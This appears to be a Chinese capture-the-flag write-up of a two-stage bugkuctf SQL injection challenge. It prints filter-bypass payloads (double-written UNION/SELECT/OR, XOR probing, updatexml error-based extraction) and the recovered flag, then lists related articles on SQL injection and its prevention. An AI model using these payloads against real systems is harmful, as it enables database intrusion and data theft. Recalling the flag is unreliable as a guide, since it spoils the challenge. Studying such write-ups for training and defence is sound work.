bugkuctf 多次,sql2注入2

2024-03-11 15:50
文章标签 注入 多次 sql2 bugkuctf

本文主要是介绍bugkuctf 多次,sql2注入2,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这道题有两个关卡,主要是学到了点儿报错注入判断过滤,这里就记录一下
以为这个注入会与id的选取有所关系,爆破了一下,发现当id=5时,出现了如下的界面

但是,后面的尝试,发现注入的话,与id=5没啥大的关系
本题给我以后的注入提供了思路,我会首先判断’号的报错以及注释符的选取后,尝试找到哪些数据被过滤掉了。
当我们输入’
在这里插入图片描述
尝试闭合:’#,失败了,’%23,%27%23,’–+

尝试输入有多少列,获取字段信息 'order by 5%23

发现它出错了,这里可能对某些数据进行了过滤,测试一下

id=5'^(0)%23

id=5'^(1)%23


当id=5时,如上图,当id=1时,出现错误,这是因为id后面的内容首先要和^后面的内容进行异或,报错的语句是因为抑或以后id变为0数据库查找不到相关的信息,产生错误,也就是括号里得到内容如果为真则会产生错误,为假则会正常运行,我们可以利用这个进行判断哪些字符被过滤掉了,输入

id=1'^(length('union')!=0)%23


回显正常,说明union被过滤了,而双写之后却又报错,但是部分大写却又回显正常,说明大小写的union都被过滤了,所以确定为双写绕过。
**经测试,过滤的有 union select or and **

重新得到字段信息

id=1'oorr by 3%23
id=1'oorr by 2%23



说明只有两列,确定注入点儿

id=-1' ununionion selselectect 1,2%23

在这里插入图片描述
说明2这个位置是注入点,我们对它进行查询操作

id=-1'ununionion selselectect 1,database()%23                                       web1002-1
id=-1'uniunionon selselectect 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())%23                                                                 flag1,hint
id=-1'uniunionon selselectect 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1")%23                                                                            flag1,address
id=-1'uniunionon selselectect 1,flag1 from flag1%23                                  usOwycTju+FTUUzXosjr

提交得到的flag错误了,还有个address的字段,提出来

点进去得到下一关:

**试了试,这个竟然能直接用order by **

当输入order by 2时,没有报错,说明也是两列字段,下面判断它的过滤信息

id=1'^(length('union')!=0)%23

union又被过滤了,同时发现双写是绕不过去的,因为在括号里面输入ununionion时,数据完全没有回显,和输入没有过滤的字符显示结果不一样。
经过测试,被过滤的有union sleep substr

那么不能用union,能用select,所以可以尝试updataxml报错注入

xml报错注入

首先,得到数据库名

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23


得到表名和字段名

id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
~class,flag2~id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)

这篇关于bugkuctf 多次,sql2注入2的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/798282

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Go 依赖注入库dig

简介 今天我们来介绍 Go 语言的一个依赖注入(DI)库——dig。dig 是 uber 开源的库。Java 依赖注入的库有很多,相信即使不是做 Java 开发的童鞋也听过大名鼎鼎的 Spring。相比庞大的 Spring,dig 很小巧,实现和使用都比较简洁。 快速使用 第三方库需要先安装,由于我们的示例中使用了前面介绍的go-ini和go-flags,这两个库也需要安装: $ go g

在项目中,控制权限保存时,如果多次修改权限,该如何写?

在项目中,控制权限保存时,如果多次修改权限,该如何写? 错误代码: package cn.itcast.crm.service.impl;import java.util.List;import javax.annotation.Resource;import org.apache.commons.lang.xwork.StringUtils;import org.springfr

Web安全之SQL注入:如何预防及解决

SQL注入(SQL Injection)是最常见的Web应用漏洞之一,它允许攻击者通过注入恶意SQL代码来操作数据库,获取、修改或删除数据。作为Java开发者,理解并防止SQL注入攻击是至关重要的。在本篇文章中,我们将详细介绍SQL注入的原理,演示如何在电商交易系统中出现SQL注入漏洞,并提供正确的防范措施和解决方案。 1. 什么是SQL注入? SQL注入是一种通过在用户输入中嵌入恶意SQL代

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是'' 三. 判

Java抽象类使用@Autowired注入实例

示例代码如下: 抽象类 public abstract class AbstractWaterMark {@Autowiredprivate AchievementApplicationService achievementApplicationService;public AchievementApplication queryByCode(String code){return achiev

MyBatis-Plus 框架 QueryWrapper UpdateWrapper 方法修复sql注入漏洞事件

什么是漏洞? 漏洞是指软件、系统或网络中存在的安全弱点或错误,这些弱点可能导致系统遭受攻击或被不当使用。在计算机安全领域,漏洞通常源于编程错误、设计缺陷或配置失误。 对于对象关系映射(ORM)框架来说,漏洞通常指的是设计或实施中的安全问题,这些问题可能让应用程序面临SQL注入攻击的风险。 SQL 注入漏洞 如果ORM框架在执行SQL操作时没有正确过滤或转义用户输入,攻击者可以利用输入的恶意数据